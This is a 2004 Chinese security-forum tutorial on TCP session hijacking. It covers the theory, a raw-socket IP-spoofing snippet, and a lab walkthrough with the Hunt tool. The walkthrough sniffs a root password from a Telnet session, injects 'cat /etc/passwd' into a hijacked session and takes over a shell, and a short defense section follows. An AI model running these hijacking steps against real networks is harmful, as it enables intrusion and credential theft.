会话劫持攻击实战

提交文章： dahubaobao
提交日期： 2004-06-20
文章属性： 原创
文档类别： 新手上路
相关下载： **=>下载<=**
浏览次数： 今27次/总10001次

文：会话劫持攻击实战
作者：dahubaobao
主页：http://www.ringz.org
邮件：dahushibaobao@vip.sina.com
QQ：382690
工具及图片都在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/Hijack.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！
注：转载请著名出处(包括这里的声明)，谢谢！
==========

会话劫持攻击实战

前言

通常，大家所说的入侵，都是针对一台主机，在获得管理员权限后，就很是得意；其实，真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多，但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是，不管使用什么技术，无非都是抓取目标的数据包，然后分析出敏感数据。如果目标内部采用的是共享式网络（采用HUB集线器连网），那只需要把网卡设置为“混杂模式”，挂上嗅探器（Sniffer），就能简听到你想得到的数据。如果是交换式网络（采用交换机连网），这样方法就行不通了，因为对于嗅探器，有三种网络环境是无法跨越的：“网桥”、“交换机”、“路由器”。可惜，对于ARP欺骗，交换式网络还是无能为力，如果我们借助ARP欺骗，在实现更高一层的“入侵手段”，从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……

一，会话劫持原理

1，什么是会话劫持

在现实生活中，比如你去市场买菜，在交完钱后你要求先去干一些别的事情，稍候再来拿菜；如果这个时候某个陌生人要求把菜拿走，卖菜的人会把菜给陌生人吗？！当然，这只是一个比喻，但这恰恰就是会话劫持的喻意。所谓会话，就是两台主机之间的一次通讯。例如你Telnet到某台主机，这就是一次Telnet会话；你浏览某个网站，这就是一次HTTP会话。而会话劫持（Session Hijack），就是结合了嗅探以及欺骗技术在内的攻击手段。例如，在一次正常的会话过程当中，攻击者作为第三方参与到其中，他可以在正常数据包中插入恶意数据，也可以在双方的会话当中进行简听，甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型：1）中间人攻击(Man In The Middle，简称MITM)，2）注射式攻击（Injection）；并且还可以把会话劫持攻击分为两种形式：1）被动劫持，2）主动劫持；被动劫持实际上就是在后台监视双方会话的数据流，从中获得敏感数据；而主动劫持则是将会话当中的某一台主机“踢”下线，然后由攻击者取代并接管会话，这种攻击方法危害非常大，攻击者可以做很多事情，比如“cat etc/master.passwd”（FreeBSD下的Shadow文件）。图1为会话劫持示意图。

MITM攻击简介
这也就是我们常说的“ 中间人攻击 ”，在网上讨论比较多的就是SMB会话劫持，这也是一个典型的中间人攻击。要想正确的实施中间人攻击，攻击者首先需要使用ARP欺骗或DNS欺骗，将会话双方的通讯流暗中改变，而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多，网上的资料也比较多，我就不在多说了，我只简单谈谈DNS欺骗。DNS（Domain Name System），即域名服务器，我们几乎天天都要用到。对于正常的DNS请求，例如在浏览器输入www.hacker.com.cn，然后系统先查看Hosts文件，如果有相对应的IP，就使用这个IP地址访问网站（其实，利用Hosts文件就可以实现DNS欺骗）；如果没有，才去请求DNS服务器；DNS服务器在接收到请求之后，解析出其对应的IP地址，返回给我本地，最后你就可以登陆到黑客防线的网站。而DNS欺骗则是，目标将其DNS请求发送到攻击者这里，然后攻击者伪造DNS响应，将正确的IP地址替换为其他IP，之后你就登陆了这个攻击者指定的IP，而攻击者早就在这个IP中安排好了恶意网页，可你却在不知不觉中已经被攻击者下了“ 套 ”……DNS欺骗也可以在广域网中进行，比较常见的有“ Web服务器重定向 ”、“ 邮件服务器重定向 ”等等。但不管是ARP欺骗，还是DNS欺骗，中间人攻击都改变正常的通讯流，它就相当于会话双方之间的一个透明代理，可以得到一切想知道的信息，甚至是利用一些有缺陷的加密协议来实现。

注射式攻击简介
这种方式的会话劫持比中间人攻击实现起来简单一些，它不会改变会话双方的通讯流，而是在双方正常的通讯流插入恶意数据。在注射式攻击中，需要实现两种技术：1）IP欺骗，2）预测TCP序列号。如果是UDP协议，只需伪造IP地址，然后发送过去就可以了，因为UDP没有所谓的TCP三次握手，但基于UDP的应用协议有流控机制，所以也要做一些额外的工作。对于IP欺骗，有两种情况需要用到：1）隐藏自己的IP地址；2）利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上，可以直接使用Socket构造IP包，在IP头中填上虚假的IP地址，但需要root权限；在Windows平台上，不能使用Winsock，需要使用Winpacp（也可以使用Libnet）。例如在Linux系统，首先打开一个Raw Socket（原始套接字），然后自己编写IP头及其他数据。可以参考下面的实例代码：

```
sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));
```

对于基于TCP协议的注射式会话劫持，攻击者应先采用嗅探技术对目标进行简听，然后从简听到的信息中构造出正确的序列号，如果不这样，你就必须先猜测目标的ISN（初始序列号），这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢？请继续往下看。

2，TCP会话劫持
本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议，那将轻而易举，因为它们没有提供一些认证措施；而TCP协议被欲为是可靠的传输协议，所以要重点讨论它。
根据TCP/IP中的规定，使用TCP协议进行通讯需要提供两段序列号，TCP协议使用这两段序列号确保连接同步以及安全通讯，系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中，双方的序列号是相互依赖的，这也就是为什么称TCP协议是可靠的传输协议（具体可参见RFC 793）。如果攻击者在这个时候进行会话劫持，结果肯定是失败，因为会话双方“ 不认识 ”攻击者，攻击者不能提供合法的序列号；所以，会话劫持的关键是预测正确的序列号，攻击者可以采取嗅探技术获得这些信息。

TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中，都有两段序列号，它们分别为：
SEQ：当前数据包中的第一个字节的序号
ACK：期望收到对方数据包中第一个字节的序号

假设双方现在需要进行一次连接：
S_SEQ：将要发送的下一个字节的序号
S_ACK：将要接收的下一个字节的序号
S_WIND：接收窗口
//以上为服务器（Server）
C_SEQ：将要发送的下一个字节的序号
C_ACK：将要接收的下一个字节的序号
C_WIND：接收窗口
//以上为客户端（Client）

它们之间必须符合下面的逻辑关系，否则该数据包会被丢弃，并且返回一个ACK包（包含期望的序列号）。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND

如果不符合上边的逻辑关系，就会引申出一个“ 致命弱点 ”，具体请接着往下看。

致命弱点
这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后，就会用自己期望的序列号返回ACK包；而在另一端，这个数据包也不是所期望的，就会再次以自己期望的序列号返回ACK包……于是，就这样来回往返，形成了恶性循环，最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗，使双方的数据包“ 正常 ”的发送到攻击者这里，然后设置包转发，最后就可以进行会话劫持了，而且不必担心会有ACK风暴出现。当然，并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意，ACK风暴仅存在于注射式会话劫持。

TCP会话劫持过程
假设现在主机A和主机B进行一次TCP会话，C为攻击者（如图2），劫持过程如下：
A向B发送一个数据包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ，包大小为:60

B回应A一个数据包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ，包大小为:50

A向B回应一个数据包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ，包大小为:40

B向A回应一个数据包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ，包大小为:30

攻击者C冒充主机A给主机B发送一个数据包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ，包大小为:20

B向A回应一个数据包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ，包大小为:10

现在，主机B执行了攻击者C冒充主机A发送过来的命令，并且返回给主机A一个数据包；但是，主机A并不能识别主机B发送过来的数据包，所以主机A会以期望的序列号返回给主机B一个数据包，随即形成ACK风暴。如果成功的解决了ACK风暴（例如前边提到的ARP欺骗），就可以成功进行会话劫持了。

关于理论知识就说到这里，下面我以具体的实例演示一次会话劫持。

二，会话劫持实践
1，唠叨几句
可以进行会话劫持的工具很多，比较常用有Juggernaut，它可以进行TCP会话劫持的网络Sniffer程序；TTY Watcher，而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持，只是看你会不会使用了。但，能将会话劫持发挥得淋漓尽致的，还要算Hunt这个工具了。它的作者是Pavel Krauz，可以工作在Linux和一些Unix平台下。它的功能非常强大，首先，无论是在共享式网络还是交换式网络，它都可以正常工作；其次，可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述，我们知道在注射式攻击中，容易出现ACK风暴，解决办法是先进行ARP欺骗；而使用Hunt进行注射式攻击时，它并不进行ARP欺骗，而是在会话劫持之后，向会话双方发送带RST标志位的TCP包以中断会话，避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗，然后进行会话劫持。Hunt目前最新版本是1.5，可以到Pavel Krauz网站下载源代码包和二进制文件：http://lin.fsid.cvut.cz/~kra/#hunt。

现在来看看如果使用Hunt，首先是下载并编译源代码：
[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互试的操作，具体如图3所示

解释一下各个选项的含义
l/w/r) list/watch/reset connections
//l（字母l）为查看当前网络上的会话；w为监视当前网络上的某个会话；r为重置当前网络上的某个会话。
a) arp/simple hijack (avoids ack storm if arp used)
//中间人攻击（会话劫持），Hunt先进行ARP欺骗，然后进行会话劫持。使用此方法可以避免出现ACK风暴。
s) simple hijack
//简单的会话劫持，也就是注射式攻击。会出现ACK风暴。
d) daemons rst/arp/sniff/mac
//该选项共实现四个功能，分别为：终止会话，自动发送带RST标志位的TCP包；ARP欺骗后进行数据包转发；不用说了，嗅探功能；在当前网络上收集MAC地址。
其他的选项很简单，不在多说了。还是来看看具体的例子吧，我想大家都等不及了！^_^

2，应用实例
测试环境：
攻击者：Red Hat Linux 9.0 IP：192.168.0.10
主机A：Windows Advanced Server IP：192.168.0.1
主机B：FreeBSD 4.9 STABLE IP：192.168.0.20

[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
//主机A正在Telnet到主机B

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //监视当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //选择打算监视的会话。由于我的条件有限，不能模拟多个会话，请多见量。
Dump [s]rc/[d]st/[b]oth [b]> //回车
Print sec/dst same charactes y/n [n]> //回车

现在就可以监视会话了。主机A输入的一切内容，我们都可以看到，如图4。主机A在Telnet并登陆之后，直接su root，password：后边的就是root的密码。现在这个系统已经完全由你所控制了，自由发挥吧！

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //进行注射式会话劫持
0）192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd

攻击者的意图是获取主机B的passwd文件的内容，但由于注射式会话劫持缺陷，导致了ACK风暴，所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。具体如图5所示。

```
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //进行中间人会话劫持
0）192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工输入CTRL+C中断，不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
.....
```

现在，攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到，并且攻击者也可以自行插入命令，比如图6所示的例子。正如前边所说的，这种会话劫持方式先进行ARP欺骗，然后才劫持，所以，ACK风暴是不会出现的；而且，这种方式要比注射式会话劫持危害更大，从上文中我想就能看出来，我就不必在多说什么了。还有一些如Sniffer等功能，都很简单，由于已不在本文范畴，故不在多说。

三，会话劫持防范

防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络，虽然像Hunt这样的工具可以在交换环境中实现会话劫持，但还是应该使用交换式网络替代共享式网络，因为这样可以防范最基本的嗅探攻击。然而，最根本的解决办法是采用加密通讯，使用SSH代替Telnet、使用SSL代替HTTP，或者干脆使用IPSec/VPN，这样会话劫持就无用武之地了。其次，监视网络流量，如发现网络中出现大量的ACK包，则有可能已被进行了会话劫持攻击。

还有一点是比较重要的，就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗，如能阻止攻击者进行ARP欺骗，中间人攻击还怎样进行？！如何防范ARP欺骗，黑客防线有过详细的介绍，可以参考2003年第9期杂志。

总结

对于渗透内部网络，会话劫持确实是一种比较有效的方法，我们应该掌握。本文的实践性很强，请大家务必动手试试，并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单，但却可以把会话劫持发挥淋漓尽致，真佩服作者的编程功底。

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net